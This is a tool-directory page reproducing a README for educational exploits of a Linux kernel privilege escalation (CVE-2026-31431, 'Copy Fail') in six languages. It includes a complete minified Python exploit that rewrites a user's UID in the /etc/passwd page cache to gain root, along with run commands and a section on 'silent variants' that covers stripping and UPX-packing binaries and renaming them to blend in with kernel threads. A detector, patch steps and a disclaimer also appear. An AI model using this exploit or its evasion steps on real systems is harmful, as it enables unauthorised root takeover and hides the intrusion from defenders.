Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CopyFail-Exploits-CVE-2026-31431 — Multi-language educational exploit implementations for CVE-2026-31431, a Linux kernel local privilege escalation via the algif_aead module, with a safe detector and CTF usage guidance. | Kitploit
Tools/GitHubGitHub/shotafry/copyfail-exploits-cve-2026-31431
Privilege EscalationExploit FrameworksExploitationCTFLearning & EducationBinary ExploitationLabs & Practice
GitHubshotafry/copyfail-exploits-cve-2026-31431

CopyFail-Exploits-CVE-2026-31431

Multi-language educational exploit implementations for CVE-2026-31431, a Linux kernel local privilege escalation via the algif_aead module, with a safe detector and CTF usage guidance.

View Repository
73 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-31431 — Copy Fail

Educational repository with multi-language implementations of the Copy Fail exploit.
Created and maintained by @shotafry — because reading the CVE is not enough. You have to reproduce it.


📖 Leer en Español


Table of Contents

  • What is Copy Fail?
  • Who discovered it?
  • Severity and CVSS
  • How does it work?
  • Requirements
  • Available implementations
  • Usage by language
  • System verification
  • What exactly happens when you run it?
  • CTF and testing environments
  • Obfuscation — silent variants
  • Mitigation and patch
  • Repository structure
  • Legal disclaimer

What is Copy Fail?

Copy Fail is a local privilege escalation (LPE) vulnerability in the Linux kernel, catalogued as CVE-2026-31431. It affects the kernel's cryptographic subsystem, specifically the algif_aead module that handles authenticated encryption (AEAD) operations through AF_ALG sockets.

The bug was introduced in 2017 as part of an optimization in the authencesn module and went undetected for nearly 9 years, present in virtually every modern Linux distribution.

What makes Copy Fail special compared to other historical LPEs:


Who discovered it?

The vulnerability was discovered by Taeyang Lee from Theori's research team. The full exploit chain was developed by the Xint Code Research team, who documented the process using AI-assisted analysis of the Linux kernel's crypto/ subsystem.

The public disclosure includes a functional PoC, complete technical analysis and documentation at copy.fail.


Severity and CVSS

root@kitploit:~
CVE:       CVE-2026-31431
CVSS:      7.8 — HIGH
Vector:    Local
Impact:    Full privilege escalation (root)
Distros:   All Linux distributions with kernel >= 2017 (unpatched)

The CVSS score is 7.8 and does not reach critical (9+) solely because it requires prior local access — the attacker must already have a session on the system. In cloud environments and with Docker containers, this requirement is considerably easier to meet than it appears.


How does it work?

The kernel page cache

The Linux kernel stores recently read files in RAM. This is called the page cache. When a process reads /etc/passwd, the kernel does not go to disk — it serves the in-memory copy. This is faster, but creates an attack surface: if you can modify that RAM copy without touching the disk, the system will see falsified data.

The bug in algif_aead

The algif_aead module allows AEAD operations from user space via AF_ALG sockets. The bug lies in the 2017 optimization: when splice() is used to pass pages from a file into the socket, those page cache pages end up in the destination (writable) scatter-gather list of the cryptographic operation.

Result: any unprivileged user can write 4 controlled bytes into any file they can read, without touching the disk.

Exploitation flow

root@kitploit:~
Unprivileged user
        │
        ▼
  Opens AF_ALG socket (authencesn)
        │
        ▼
  sendmsg() — AEAD parameters with our 4 bytes in seqno_lo
        │
        ▼
  splice() — file → pipe → op socket
  [BUG] The file's page cache pages end up in the destination scatterlist
        │
        ▼
  recv() triggers the AEAD operation
  Auth check fails (EBADMSG) but the scratch-write already happened
        │
        ▼
  /etc/passwd (page cache) now says: user → UID 0
        │
        ▼
  su <user> → PAM validates real password → setuid(0) → ROOT

Simple analogy

Imagine the kernel has a castle registry book (/etc/passwd). Copy Fail is like discovering that if you open the castle's magic workshop in a very specific order, the registry book accidentally ends up on your workbench — and you can change your rank from "foot soldier" to "king" with a pen. The clerk (PAM) checks your password but doesn't check the original book, only the copy in front of them. You're king.

¿what happens at execute?

passwd cambiando en tiempo real

Example with exploit in C


Requirements

Target system

  • Linux kernel >= ~2017 without the CVE-2026-31431 patch
  • algif_aead module available and loadable
  • 4-digit UID (1000–9999) — standard on all distros

Quick verification

root@kitploit:~
# Check kernel version
uname -a

# Check if the algorithm is available
grep -i authencesn /proc/crypto

# Check if the module is loaded
lsmod | grep alg

If grep -i authencesn /proc/crypto returns authencesn(hmac(sha256),cbc(aes)), the system is vulnerable.

Per language


Available implementations

This repository contains the exploit implemented in 6 languages, all functionally equivalent, with educational comments in Spanish.

root@kitploit:~
copy_fail_exploit.c      → C       — static binary, zero dependencies
copy_fail_exploit.py     → Python  — most readable, ideal for learning
copy_fail_exploit.rs     → Rust    — the irony: "safe" language exploits kernel
copy_fail_exploit.go     → Go      — static binary, highly portable
copy_fail_exploit.rb     → Ruby    — ubiquitous on Rails servers
copy_fail_exploit.pl     → Perl    — the quietest, present on all Linux
test_cve_2026_31431.py   → Detector — checks vulnerability without exploiting anything

Usage by language

Detector (always run this first)

root@kitploit:~
python3 test_cve_2026_31431.py
  • Exit 0 → NOT vulnerable
  • Exit 2 → VULNERABLE
  • Exit 1 → Test error

C

root@kitploit:~
gcc copy_fail_exploit.c -o copy_fail_c
./copy_fail_c           # dry-run (cleans up, leaves no trace)
./copy_fail_c --shell   # full exploit

Python

root@kitploit:~
python3 copy_fail_exploit.py
python3 copy_fail_exploit.py --shell

Rust

root@kitploit:~
rustc copy_fail_exploit.rs -o copy_fail_rs
./copy_fail_rs
./copy_fail_rs --shell

Go

root@kitploit:~
go build -o copy_fail_go copy_fail_exploit.go
./copy_fail_go
./copy_fail_go --shell

Ruby

root@kitploit:~
ruby copy_fail_exploit.rb
ruby copy_fail_exploit.rb --shell

Perl

root@kitploit:~
perl copy_fail_exploit.pl
perl copy_fail_exploit.pl --shell

Installing languages (if needed)

root@kitploit:~
# Rust
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source ~/.cargo/env

# Go
apt install golang-go

# Ruby
apt install ruby

# Perl (almost always pre-installed)
perl --version

System verification

Once the exploit runs (before su), verify the page cache change visually:

root@kitploit:~
# Terminal 1: real-time monitoring
watch -n 0.5 'grep youruser /etc/passwd'

# Terminal 2: run exploit
python3 copy_fail_exploit.py --shell

You'll see the UID field change from 1000 to 0000 in real time. After su:

root@kitploit:~
id
# uid=0(root) gid=0(root) groups=0(root)

To clean up without rebooting (from the root shell):

root@kitploit:~
echo 3 > /proc/sys/vm/drop_caches

What exactly happens when you run it?

root@kitploit:~
[*] CVE-2026-31431 LPE  user=shotafry  uid=1000
[*] /etc/passwd: user 'shotafry' — UID field at offset 3118 = '1000'
[*] Patching '1000' -> '0000' in page cache...
[+] Page cache now shows UID 0 at offset 3118
[+] /etc/passwd (page cache) now lists shotafry as UID 0
[+] Run: su shotafry
[+] Enter your password. su will setuid(0) → root shell.

The disk is never modified. A reboot or drop_caches restores everything to the original state.


CTF and testing environments

Copy Fail is relevant in any CTF or privesc lab running Linux where the kernel is unpatched.

CTF considerations

  • Check the kernel first with the detector script before attempting the exploit
  • Dry-run leaves no trace — use it to confirm vulnerability without breaking the system
  • algif_aead may be disabled in hardened environments — if the detector fails at the AF_ALG step, look for another vector
  • seccomp profiles can block the required syscalls in some containers — in that case the exploit won't work even if the kernel is vulnerable

Recommended CTF flow

root@kitploit:~
uname -a
python3 test_cve_2026_31431.py
python3 copy_fail_exploit.py --shell
echo 3 > /proc/sys/vm/drop_caches

Obfuscation — silent variants

The implementations in this repo are verbose and heavily commented by design. In a real pentest context, you'll want quieter versions.

Core principle

The exploit at its core is just 5 syscalls: socket, bind, setsockopt, sendmsg, splice. Everything else is cosmetic. A silent version removes all output and minimizes code to the functional minimum.

Example — minified Python

root@kitploit:~
import os, socket, struct, pwd

def w4(p, o, b):
    f = os.open(p, 0); os.read(f, 4096)
    m = socket.socket(38, 5, 0)
    m.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    m.setsockopt(279, 1, struct.pack("HH", 8, 1) + struct.pack(">I", 16) + b"\x00"*48)
    op, _ = m.accept()
    aad = b"\x00\x00\x00\x00" + b
    op.sendmsg([aad], [(279,3,struct.pack("I",0)),(279,2,struct.pack("I",16)+b"\x00"*16),(279,4,struct.pack("I",8))], 32768)
    pr, pw = os.pipe()
    os.splice(f, pw, 32, offset_src=o); os.splice(pr, op.fileno(), 32)
    try: op.recv(64)
    except: pass
    [os.close(x) for x in [pr,pw,op.fileno(),m.fileno(),f]]

u = pwd.getpwuid(os.getuid()).pw_name
d = open("/etc/passwd","rb").read()
i = d.index(u.encode()+b":")+len(u)+1
i = d.index(b":",i)+1
w4("/etc/passwd", i, b"0000")
os.execvp("su", ["su", u])

Additional evasion techniques

root@kitploit:~
# Strip debug symbols from C binary
gcc exploit.c -o exploit && strip exploit

# Compress binary with UPX (changes signature)
upx --best exploit

# Rename binary to blend in
cp exploit /tmp/kworker-flush

⚠️ Note: AVs and EDRs detect obfuscation patterns (compressed imports, single-char function names, zlib+hex chains). A statically compiled C binary with strip remains the quietest option in monitored environments.


Mitigation and patch

Permanent fix

root@kitploit:~
# Debian/Ubuntu/Kali
apt update && apt upgrade

# RHEL/Fedora
dnf update

# Arch
pacman -Syu

Emergency mitigation (no reboot required)

root@kitploit:~
rmmod algif_aead 2>/dev/null
echo "install algif_aead /bin/false" >> /etc/modprobe.d/disable-algif.conf

Verify you're patched

root@kitploit:~
python3 test_cve_2026_31431.py
# [+] Page cache intact. NOT vulnerable on this kernel.

Docker environments

The patch must be applied to the host kernel — containers share the kernel and are not isolated from this vulnerability. Updating only the container image provides zero protection.


Repository structure

root@kitploit:~
CVE-2026-31431-Copy-Fail/
├── README.md                    ← Spanish version
├── README_ENGLISH.md            ← This file
├── copy_fail_exploit.c
├── copy_fail_exploit.py
├── copy_fail_exploit.rs
├── copy_fail_exploit.go
├── copy_fail_exploit.rb
├── copy_fail_exploit.pl
├── test_cve_2026_31431.py
└── assets/
    ├── Infografia.png
    ├── Exploit en C.png         ← Demo in C
    └── passwd.png

[ shotafry note ]

While everyone was posting this CVE with an AI-generated paragraph and a link to the official repo, I spent the day actually studying it: reading the kernel code, understanding the page cache, reproducing the exploit in a lab, and then porting it to 6 different languages to understand exactly what's happening at each layer.

The Rust version is my favorite. You use the language most obsessed with memory safety to exploit a flaw in the kernel written in C. The irony speaks for itself.

This repo exists because I believe the difference between a security professional and someone who just shares posts is whether you've actually sat down and reproduced the things you talk about.


References

  • copy.fail — Official vulnerability site
  • NVD CVE-2026-31431
  • Original kernel commit (2017) — authencesn / algif_aead module

Legal disclaimer

This repository is exclusively for educational use, security research, and testing on systems you own or have explicit written authorization to audit.

Using these tools against systems without authorization is illegal in most jurisdictions. The author takes no responsibility for misuse of this material.

Only test on what is yours or what you have permission to audit.


Built with curiosity, a lab environment, and too much coffee.
@shotafry @BrayLozano

Download Tool
FeatureCopy FailTypical LPE
Requires race condition❌ No✅ Yes
Requires kernel-specific offset❌ No✅ Yes
Works across all distros✅ Yes❌ Usually not
Reliability100% deterministicVariable
Modifies disk❌ No (RAM only)Depends
LanguageTarget requirementPre-compilation needed
CNone (static binary)gcc on build machine
PythonPython 3.10+No
RustNone (static binary)rustc on build machine
GoNone (static binary)go on build machine
RubyRuby + fiddle gem (included by default)No
PerlPerl 5 (present on virtually all Linux)No